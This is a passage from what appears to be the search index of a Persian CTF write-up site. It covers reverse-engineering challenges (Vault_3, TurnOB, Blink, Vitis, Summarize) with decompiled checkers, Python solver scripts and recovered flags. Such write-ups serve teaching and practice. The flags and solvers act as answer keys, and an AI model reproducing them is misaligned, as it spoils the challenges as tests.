\u0647\u0627 \u0646\u06cc\u0632 \u0646\u06af\u0627\u0647\u06cc \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645. \u062e\u0628 \u067e\u0633 \u0628\u06cc\u0627\u06cc\u062f \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0622\u06cc\u062f\u0627 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645:

__int64 __fastcall rotateChar(char a1, int a2)\n{\n  if ( a1 > 96 && a1 <= 122 )\n    return (unsigned int)((a1 - 97 + a2) % 26 + 97);\n  if ( a1 <= 64 || a1 > 90 )\n    return (unsigned __int8)a1;\n  return (unsigned int)((a1 - 65 + a2) % 26 + 65);\n}\n\n__int64 __fastcall encrypt(__int64 a1)\n{\n  __int64 result;\n  int i;\n  for ( i = 0; ; ++i )\n  {\n    result = *(unsigned __int8 *)(i + a1);\n    if ( !(_BYTE)result )\n      break;\n    *(_BYTE *)(i + a1) = rotateChar(*(_BYTE *)(i + a1) ^ (unsigned __int8)(i % 4), 3);\n  }\n  return result;\n}\n\n_BOOL8 __fastcall checkFlag(const char *a1)\n{\n  char dest[128];\n  char s2[16];\n  __int64 v4;\n\n  qmemcpy(s2, \"leyh{V2z4x#3q^x\\\"\", sizeof(s2));\n  v4 = 0x7F56305B5D6C77LL;\n  strncpy(dest, a1, 0x80uLL);\n  encrypt((__int64)dest);\n  return strncmp(dest, s2, 0x18uLL) == 0;\n}\n\nint __fastcall main(int argc, const char **argv, const char **envp)\n{\n  char v4[128];\n  puts(\"Enter the flag:\");\n  if ( (unsigned int)__isoc99_scanf(\"%127s\", v4) )\n  {\n    if ( checkFlag(v4) )\n      puts(\"Congratulations! You've solved the challenge.\");\n    else\n      puts(\"Incorrect flag. Try again!\");\n  }\n  return 0;\n}\n

\u062e\u0628 \u0627\u0632 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0645\u06cc\u062a\u0648\u0627\u0646 \u062f\u06cc\u062f \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u0627\u0632 \u0645\u0627 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u067e\u0627\u0633 \u0645\u06cc\u062f\u0647 \u0628\u0647 \u062a\u0627\u0628\u0639 checkFlag \u0627\u0648\u0646\u062c\u0627 \u0648\u0631\u0648\u062f\u06cc \u0645\u0627 \u0628\u0647 \u062a\u0627\u0628\u0639 encrypt \u067e\u0627\u0633 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0648 \u062e\u0631\u0648\u062c\u06cc\u0634 \u0628\u0627 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u062e\u0627\u0635 \u0645\u0642\u0627\u06cc\u0633\u0647 \u0645\u06cc\u0634\u0647. \u062a\u0648 \u062a\u0627\u0628\u0639 encrypt \u0645\u06cc\u0627\u062f \u0631\u0648 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u06cc\u06a9\u0633\u0631\u06cc xor \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647 \u0648 \u0633\u067e\u0633 \u067e\u0627\u0633 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0628\u0647 \u062a\u0627\u0628\u0639 rotateChar \u062a\u0627\u0628\u0639 rotateChar \u0645\u06cc\u0627\u062f \u06a9\u062f ascii \u06a9\u0627\u0631\u06a9\u062a\u0631 \u0648\u0631\u0648\u062f\u06cc \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0627\u06af\u0647 \u062d\u0631\u0648\u0641 \u06a9\u0648\u0686\u06cc\u06a9 \u06cc\u0627 \u0628\u0632\u0631\u06af \u0627\u0646\u06af\u0644\u06cc\u0633\u06cc \u0628\u0648\u062f \u0628\u0647 \u0645\u06cc\u0632\u0627\u0646 a2 \u0634\u06cc\u0641\u062a \u0645\u06cc\u062f\u0647\u062f.(\u0645\u0634\u0627\u0628\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0633\u0632\u0627\u0631)

\u062d\u0627\u0644 \u0645\u0627 \u0631\u0634\u062a\u0647 \u0645\u0648\u0631\u062f \u0627\u0646\u062a\u0638\u0627\u0631 \u067e\u0633 \u0627\u0632 \u0639\u0645\u0644\u06cc\u0627\u062a\u200c\u0647\u0627\u06cc \u0628\u0627\u0644\u0627 \u0631\u0648 \u062f\u0627\u0631\u06cc\u0645\u060c \u062f\u0631\u0646\u062a\u06cc\u062c\u0647 \u06a9\u0627\u0641\u06cc\u0633\u062a \u062a\u0645\u0627\u0645 \u0645\u0631\u0627\u062d\u0644 \u0628\u0627\u0644\u0627 \u0631\u0648 \u0645\u0639\u06a9\u0648\u0633 \u067e\u06cc\u0634 \u0628\u0631\u0648\u06cc\u0645 \u062a\u0627 \u0628\u0647 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u0627\u0628\u062a\u062f\u0627\u06cc \u06a9\u0627\u0631 \u0628\u0631\u0633\u06cc\u0645 \u0648\u0644\u06cc \u067e\u06cc\u0634 \u0627\u0632 \u0622\u0646\u060c \u0631\u0634\u062a\u0647 \u0645\u0648\u0631\u062f \u0627\u0646\u062a\u0638\u0627\u0631 \u062a\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0622\u06cc\u062f\u0627 \u067e\u0631\u0648 \u0627\u0646\u062f\u06a9\u06cc \u0645\u0628\u0647\u0645\u0647\u060c \u062f\u0631\u0646\u062a\u06cc\u062c\u0647 \u0628\u0647 \u06a9\u0645\u06a9 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 BinaryNinja \u0631\u0634\u062a\u0647 \u062f\u0642\u06cc\u0642 \u0646\u0647\u0627\u06cc\u06cc \u0631\u0648 \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645

uint64_t checkFlag(char* arg1)\n{\n    int64_t var_28;\n    __builtin_strcpy(&var_28, \"leyh{V2z4x#3q^x\\\"wl][0V\\x7f\");\n    void var_a8;\n    strncpy(&var_a8, arg1, 0x80);\n    encrypt(&var_a8);\n    int32_t rax;\n    rax = strncmp(&var_a8, &var_28, 0x18) == 0;\n    return rax;\n}\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault_3/#_3","title":"\u062d\u0644 \u0686\u0627\u0644\u0634","text":"
def revRotateChar(c, num):\n    if 96<c and c<=122:\n        return (c - 97 - num) % 26 + 97\n    if 64<c and c<=90:\n        return (c - 65 - num) % 26 + 65\n    return c\n\ns = b\"leyh{V2z4x#3q^x\\\"wl][0V\\x7f\"\nfor i, c in enumerate(s):\n    print(chr(revRotateChar(c, 3)^(i % 4)), end='')\n
FLAG

ictf{R0t4t!0n_w!th_X0R}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

"},{"location":"reverse/writeups/SnappCTF/TurnOB/","title":"\u0686\u0627\u0644\u0634 TurnOB","text":"","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/TurnOB/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u062f\u0648 \u0641\u0627\u06cc\u0644 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647. \u06cc\u06a9 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0641\u0644\u06af \u0648 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0645\u0632\u06a9\u0646\u0646\u062f\u0647 \u06a9\u0647 \u0637\u0628\u0642 \u06af\u0641\u062a\u0647 \u0633\u0648\u0627\u0644 \u0638\u0627\u0647\u0631\u0627 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0631\u0645\u0632 \u0634\u062f\u0634 \u0631\u0648 \u0628\u0631\u0627\u0645\u0648\u0646 \u067e\u0631\u06cc\u0646\u062a \u0645\u06cc\u06a9\u0646\u0647.

> file *\nflag.enc: ASCII text, with no line terminators\nturnob:   ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=60dbfb0af3f9c3f987d055cfc11f6da40cdbcf75, for GNU/Linux 3.2.0, stripped\n\n> cat flag.enc\n5c:1b:72:35:35:64:5c:6d:95:ef:69:a6:d6:09:f8:6d:bc:9d:f8:99:16:0e:d5:f8:16:f0:7a:a1:d2:09:aa:f8:a2:bb:f8:8c:d2:7e:a7:%\n

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/TurnOB/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u0628\u0627 \u0686\u0646\u062f\u0628\u0627\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0631\u062f\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0648 \u062f\u0627\u062f\u0646 \u0648\u0631\u0648\u062f\u06cc \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0645\u06cc\u0634\u0647 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0631\u062f \u06a9\u0647 \u0647\u0631 \u06a9\u0627\u0631\u06a9\u062a\u0631 \u0648\u0631\u0648\u062f\u06cc \u06a9\u0627\u0631\u0628\u0631\u060c \u0628\u0647 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0645\u0646\u062d\u0635\u0631 \u0628\u0647 \u0641\u0631\u062f \u0645\u067e \u0634\u062f\u0647. \u0628\u0631\u0627\u06cc \u0645\u062b\u0627\u0644 \u062f\u0631 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u062d\u0631\u0641 a \u0628\u0647 \u0631\u0634\u062a\u0647 12\u060c \u062d\u0631\u0641 b \u0628\u0647 \u0631\u0634\u062a\u0647 1f \u0648 \u062d\u0631\u0641 c \u0628\u0647 \u0631\u0634\u062a\u0647 2c \u0627\u0646\u06a9\u062f \u0645\u06cc\u0634\u0646.

> echo -n 'abc' | ./turnob\n12:1f:2c:%\n

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u06a9\u0627\u0641\u06cc\u0647 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646\u06cc \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645 \u0648 \u062f\u06cc\u06a9\u0634\u0646\u0631\u06cc \u0627\u0632 \u062a\u0645\u0627\u0645 \u06a9\u0627\u0631\u06a9\u062a\u0631\u0647\u0627 \u0648 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0645\u062a\u0646\u0627\u0638\u0631\u0634\u0648\u0646 \u0628\u0633\u0627\u0632\u06cc\u0645 \u0648 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0641\u0644\u06af \u0631\u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0647 \u0641\u0644\u06af \u0628\u0631\u0633\u06cc\u0645

from string import printable\nfrom subprocess import Popen, PIPE, STDOUT\n\np = Popen(['./turnob'], stdout=PIPE, stdin=PIPE, stderr=STDOUT)\nans = p.communicate(input=printable.encode())[0].decode()\n\n\nd = {j:i for i, j in zip(printable, ans.split(':'))}\n\nwith open(\"flag.enc\") as f:\n    s = f.read()\n\nfor i in s.split(':')[:-1]:\n    print(d[i], end='')\n
FLAG

SNAPP{Sh0rTE5t_h3X_DuMp_u7il!tY_1n_C!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/blink/","title":"Blink","text":"

\u0628\u0627 \u0627\u06cc\u0646 \u06a9\u0647 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u062a\u0648 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u06cc\u0648\u0631\u0633\u0647\u060c \u0627\u0645\u0627 \u062e\u0648 \u06a9\u06cc \u062d\u0627\u0644 \u062f\u0627\u0631\u0647 \u06a9\u0627\u06a9\u0648\u061f

\u0641\u0642\u0637 \u062a\u06cc\u06a9\u0647 \u0627\u0648\u0644\u0634 \u0631\u0648 \u0631\u06cc\u0648\u0631\u0633 \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u0641\u0647\u0645\u06cc\u062f\u06cc\u0645 \u06a9\u0647 \u06cc\u0647 \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u06cc\u0647 \u062e\u0631\u0648\u062c\u06cc

\u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0633\u0645\u067e\u0644 \u0633\u0627\u062e\u062a\u06cc\u0645 \u0648 \u0637\u0628\u0642 \u062a\u0635\u0648\u06cc\u0631 \u0641\u0647\u0645\u06cc\u062f\u06cc\u0645 \u0627\u06cc\u0646 \u0628\u0644\u0627\u06af\u0631\u0641\u062a\u0647 \u062f\u0627\u0631\u0647 \u0686\u06cc\u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0647

import os\nfor i in os.scandir('/tmp/Blink'):\n    print()\n    print(open(\"/tmp/Blink/\" + i.name, 'r').read().replace('\\n', ''), end='')\n

\u0628\u0639\u062f \u0628\u0627 \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644\u0627 \u0631\u0648 \u0632\u06cc\u0631 \u0647\u0645 \u0686\u0627\u067e \u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0641\u0644\u06af \u0633\u0627\u062e\u062a\u0647 \u0645\u06cc\u0634\u0647

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/blink/#_1","title":"Blink","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/SnappCTF/vitis/","title":"Vitis","text":"

\u062f\u06cc\u06af\u0647 \u0633\u0627\u062f\u0647 \u062a\u0631 \u0627\u0632 \u0627\u06cc\u0646 \u0646\u062f\u0627\u0631\u06cc\u0645 =)))

FLAG

SNAPP{I_L0v3_WINE_1N_L!nUX!!!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Reverse"]},{"location":"reverse/writeups/UIUCTF/summarize/","title":"Summarize","text":"

\u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0631\u0648 \u0628\u0647 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0645\u06cc\u062f\u06cc\u0645 \u0648 \u062e\u0631\u0648\u062c\u06cc \u0631\u0648 \u0686\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u0628\u0627 \u062d\u0630\u0641 \u0642\u0633\u0645\u062a\u0627\u06cc \u063a\u06cc\u0631 \u0645\u0647\u0645 \u0648 \u0641\u0642\u0637 \u0646\u06af\u0647 \u062f\u0627\u0634\u062a\u0646 \u0645\u0646\u0637\u0642 \u0627\u0635\u0644\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0634\u0628\u0647 \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0648 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u0645.

#include <stdio.h>\n\nint main(int a1, char **a2)\n{\n  unsigned int v4;\n  unsigned int v5;\n  unsigned int v6;\n  unsigned int v7;\n  unsigned int v8;\n  unsigned int v9;\n  char s[56];\n\n  puts(\"To get the flag, you must correctly enter six 9-digit positive integers: a, b, c, d, e, and f.\");\n  putchar(10);\n  printf(\"a = \");\n  scanf(\"%d\", &v4);\n  printf(\"b = \");\n  scanf(\"%d\", &v5);\n  printf(\"c = \");\n  scanf(\"%d\", &v6);\n  printf(\"d = \");\n  scanf(\"%d\", &v7);\n  printf(\"e = \");\n  scanf(\"%d\", &v8);\n  printf(\"f = \");\n  scanf(\"%d\", &v9);\n  if ( sub_40137B(v4, v5, v6, v7, v8, v9) )\n  {\n    puts(\"Correct.\");\n    sprintf(s, \"uiuctf{%x%x%x%x%x%x}\", v4, v5, v6, v7, v8, v9);\n    puts(s);\n  }\n  else\n  {\n    puts(\"Wrong.\");\n  }\n  return 0LL;\n}\n\n\nchar sub_40137B(\n        unsigned int a1,\n        unsigned int a2,\n        unsigned int a3,\n        unsigned int a4,\n        unsigned int a5,\n        unsigned int a6)\n{\n  unsigned int v7;\n  int v8;\n  unsigned int v9;\n  unsigned int v10\n  unsigned int v11;\n  unsigned int v12;\n  unsigned int v18;\n  unsigned int v19;\n  unsigned int v20;\n  unsigned int v21;\n  unsigned int v22;\n  unsigned int v23;\n  unsigned int v24;\n  unsigned int v25;\n\n  if ( a1 <= 0x5F5E100 || a2 <= 0x5F5E100 || a3 <= 0x5F5E100 || a4 <= 0x5F5E100 || a5 <= 0x5F5E100 || a6 <= 0x5F5E100 )\n    return 0LL;\n  if ( a1 > 0x3B9AC9FF || a2 > 0x3B9AC9FF || a3 > 0x3B9AC9FF || a4 > 0x3B9AC9FF || a5 > 0x3B9AC9FF || a6 > 0x3B9AC9FF )\n    return 0LL;\n\n  v7 = sub_4016D8(a1, a2);\n  v18 = (unsigned int) sub_40163D(v7, a3) % 0x10AE961;\n  v19 = (unsigned int) sub_40163D(a1, a2) % 0x1093A1D;\n  v8 = sub_4016FE(2u, a2);\n  v9 = sub_4016FE(3u, a1);\n  v10 = sub_4016D8(v9, v8);\n  v20 = v10 % (unsigned int) sub_40174A(a1, a4);\n  v11 = sub_40163D(a3, a1);\n  v21 = (unsigned int) sub_4017A9(a2, v11) % 0x6E22;\n  v22 = (unsigned int) sub_40163D(a2, a4) % a1;\n  v12 = sub_40163D(a4, a6);\n  v23 = (unsigned int) sub_40174A(a3, v12) % 0x1CE628;\n  v24 = (unsigned int) sub_4016D8(a5, a6) % 0x1172502;\n  v25 = (unsigned int) sub_40163D(a5, a6) % 0x2E16F83;\n  return v18 == 4139449\n      && v19 == 9166034\n      && v20 == 556569677\n      && v21 == 12734\n      && v22 == 540591164\n      && v23 == 1279714\n      && v24 == 17026895\n      && v25 == 23769303;\n}\n

\u062a\u0627 \u0627\u06cc\u0646\u062c\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0627\u0632 \u0645\u0627 \u06f6 \u0639\u062f\u062f \u06f9 \u0631\u0642\u0645\u06cc \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0648\u0631\u0648\u062f\u06cc \u06af\u0631\u0641\u062a\u0647 \u0645\u06cc\u0634\u0647 \u0648 \u0628\u0639\u062f\u0634 \u06cc\u06a9 \u062a\u0627\u0628\u0639\u06cc \u0628\u0631\u0627\u06cc \u0627\u0646\u062c\u0627\u0645 \u06cc\u06a9\u0633\u0631\u06cc \u0686\u06a9 \u0634\u0631\u0637\u06cc \u0631\u0648\u06cc \u0627\u06cc\u0646 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0635\u062f\u0627 \u0632\u062f\u0647 \u0645\u06cc\u0634\u0647. \u062f\u0631 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0627\u0648\u0644 \u0686\u06a9 \u0645\u06cc\u0634\u0647 \u06a9\u0647 \u0647\u0645\u0647 \u0639\u062f\u062f\u0627 \u06f9 \u0631\u0642\u0645\u06cc \u0628\u0627\u0634\u0646 \u062d\u062a\u0645\u0627 \u0648 \u0628\u0639\u062f\u0634 \u0628\u0627 \u0635\u062f\u0627 \u0632\u062f\u0646 \u06cc\u06a9\u0633\u0631\u06cc \u0627\u0632 \u062a\u0648\u0627\u0628\u0639 \u062f\u06cc\u06af\u0647 \u0648 \u0627\u0646\u062c\u0627\u0645 \u0627\u0639\u0645\u0627\u0644 \u0631\u06cc\u0627\u0636\u06cc\u060c \u062a\u0639\u062f\u0627\u062f\u06cc \u0645\u062a\u063a\u06cc\u0631 \u0631\u0648 \u062d\u0633\u0627\u0628 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0646\u0647\u0627\u06cc\u062a\u0627 \u0645\u0642\u062f\u0627\u0631 \u0627\u0648\u0646\u0627\u0631\u0648 \u0686\u06a9 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u062f\u0631\u0633\u062a \u06cc\u0627 \u0646\u0627\u062f\u0631\u0633\u062a \u0631\u0648 \u0628\u0631\u0645\u06cc\u200c\u06af\u0631\u062f\u0648\u0646\u0647. \u062d\u0627\u0644\u0627 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u06cc\u06a9\u0633\u0631\u06cc \u062a\u0627\u0628\u0639 \u0647\u0631 \u06a9\u062f\u0648\u0645 \u062f\u0627\u0631\u0646 \u0686\u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0646:

int sub_40163D(unsigned int a1, unsigned int a2)\n{\n  unsigned int v5;\n  char v6;\n  int v7;\n  int v8;\n  long v9;\n\n  v9 = 0LL;\n  v5 = 0;\n  v6 = 0;\n  while ( a1 || a2 )\n  {\n    v7 = a1 & 1;\n    v8 = a2 & 1;\n    a1 >>= 1;\n    a2 >>= 1;\n    v9 += (v5 ^ v8 ^ v7) << v6;\n    v5 = v5 & v7 | v8 & v7 | v5 & v8;\n    ++v6;\n  }\n  return ((unsigned __int64)v5 << v6) + v9;\n}\n

\u0627\u0648\u0644\u0634 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u0627\u062f \u06a9\u0647 \u06cc\u06a9\u0633\u0631\u06cc \u0639\u0645\u0644 \u0628\u06cc\u062a\u06cc \u067e\u06cc\u0686\u06cc\u062f\u0647 \u062f\u0631 \u062d\u0627\u0644 \u0627\u0646\u062c\u0627\u0645 \u0647\u0633\u062a \u0648\u0644\u06cc \u0627\u06af\u0631 \u0628\u06cc\u0634\u062a\u0631 \u062f\u0642\u062a \u06a9\u0646\u06cc\u0645\u060c \u0627\u06cc\u0646 \u06a9\u062f \u062f\u0631 \u0648\u0627\u0642\u0639 \u0634\u0628\u06cc\u0647\u200c\u0633\u0627\u0632 \u06cc\u06a9 \u0645\u062f\u0627\u0631 adder \u0628\u06cc\u062a\u06cc \u0647\u0633\u062a \u06a9\u0647 \u0628\u0627 \u06cc\u06a9 full-adder \u0648 \u0628\u0631\u0627\u06cc \u062a\u0645\u0627\u0645\u06cc \u0628\u06cc\u062a\u200c\u0647\u0627 \u0639\u0645\u0644 \u062c\u0645\u0639 \u0631\u0648 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647 \u0648 \u0646\u0647\u0627\u06cc\u062a\u0627 \u0646\u062a\u06cc\u062c\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639\u060c \u062c\u0645\u0639 \u062f\u0648 \u0639\u062f\u062f \u0648\u0631\u0648\u062f\u06cc \u0628\u0627 \u0631\u0639\u0627\u06cc\u062a carry \u062f\u0631 \u0645\u062d\u0627\u0633\u0628\u0627\u062a \u0647\u0633\u062a. \u0628\u0631\u0627\u06cc \u0645\u0637\u0627\u0644\u0639\u0647 \u0628\u06cc\u0634\u062a\u0631 \u062f\u0631\u0628\u0627\u0631\u0647 \u0627\u0639\u0645\u0627\u0644 \u0645\u062d\u0627\u0633\u0628\u0627\u062a\u06cc \u0628\u06cc\u062a\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc\u060c \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u062f \u0627\u0632 \u0644\u06cc\u0646\u06a9 \u06f1 \u0648 \u0644\u06cc\u0646\u06a9 \u06f2 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.

int sub_4016D8(unsigned int a1, int a2)\n{\n  return sub_40163D(a1, -a2);\n}\n
\u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0648\u0631\u0648\u062f\u06cc \u062f\u0648\u0645 \u0631\u0648 \u0645\u0646\u0641\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0639\u062f \u0627\u0648\u0646 \u062f\u0648 \u0631\u0648 \u0628\u0647 \u0647\u0645\u0648\u0646 \u062a\u0627\u0628\u0639 \u0642\u0628\u0644\u06cc \u0645\u06cc\u200c\u062f\u0647. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0639\u0645\u0644 \u062a\u0641\u0631\u06cc\u0642 \u0628\u06cc\u062a\u06cc \u062f\u0631 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0647.

int sub_4016FE(unsigned int a1, int a2)\n{\n  unsigned int v4;\n  int v5;\n\n  v4 = 0;\n  v5 = 0;\n  while ( a1 )\n  {\n    v4 += (a1 & 1) * (a2 << v5);\n    a1 >>= 1;\n    ++v5;\n  }\n  return v4;\n}\n
\u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0639\u0645\u0644 \u0636\u0631\u0628 \u0628\u06cc\u062a\u06cc \u0631\u0648 \u0628\u0647 \u0631\u0648\u0634 shift & add \u0628\u0631\u0627\u06cc \u062f\u0648 \u0639\u062f\u062f \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0647.

int sub_40174A(unsigned int a1, unsigned int a2)\n{\n  unsigned int v5;\n  int v6;\n  int v7;\n  int v8;\n\n  v5 = 0;\n  v6 = 0;\n  while ( a1 || a2 )\n  {\n    v7 = a1 & 1;\n    v8 = a2 & 1;\n    a1 >>= 1;\n    a2 >>= 1;\n    v5 += (v8 ^ v7) << v6++;\n  }\n  return v5;\n}\n
\u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u062f\u0648 \u0639\u062f\u062f \u0631\u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u0628\u06cc\u062a \u0628\u0647 \u0628\u06cc\u062a xor \u0645\u06cc\u200c\u06a9\u0646\u0647.

int sub_4017A9(unsigned int a1, unsigned int a2)\n{\n  unsigned int v5;\n  int v6;\n  int v7;\n  int v8;\n\n  v5 = 0;\n  v6 = 0;\n  while ( a1 || a2 )\n  {\n    v7 = a1 & 1;\n    v8 = a2 & 1;\n    a1 >>= 1;\n    a2 >>= 1;\n    v5 += (v8 & v7) << v6++;\n  }\n  return v5;\n}\n
\u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0647\u0645 \u062f\u0648 \u0639\u062f\u062f \u0631\u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u0628\u06cc\u062a \u0628\u0647 \u0628\u06cc\u062a And \u0645\u06cc\u200c\u06a9\u0646\u0647.

\u062d\u0627\u0644\u0627 \u0628\u0627 \u0627\u06cc\u0646 \u062f\u0627\u0646\u0634 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u062c\u0627\u06cc\u06af\u0630\u0627\u0631\u06cc \u0627\u06cc\u0646 \u0627\u0639\u0645\u0627\u0644 \u0628\u0647 \u062c\u0627\u06cc \u0627\u0633\u0645 \u062a\u0627\u0628\u0639\u200c\u0647\u0627 \u0648 \u062a\u0634\u06a9\u06cc\u0644 \u062f\u0633\u062a\u06af\u0627\u0647 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0648 \u0645\u062c\u0647\u0648\u0644\u0627\u062a\u06cc \u06a9\u0647 \u0628\u0627\u06cc\u062f \u062d\u0644 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0647 \u0627\u0639\u062f\u0627\u062f \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0628\u0631\u0633\u06cc\u0645:

((a1 - a2) + a3) % 0x10AE961 == 4139449\n(a1 + a2) % 0x1093A1D == 9166034\n(3 * a1 - 2 * a2) % (a1 ^ a4) == 556569677\n(a2 & (a3 + a1)) % 0x6E22 == 12734\n(a2 + a4) % a1 == 540591164\n(a3 ^ (a4 + a6)) % 0x1CE628 == 1279714\n(a5 - a6) % 0x1172502 == 17026895\n(a5 + a6) % 0x2E16F83 == 23769303\n
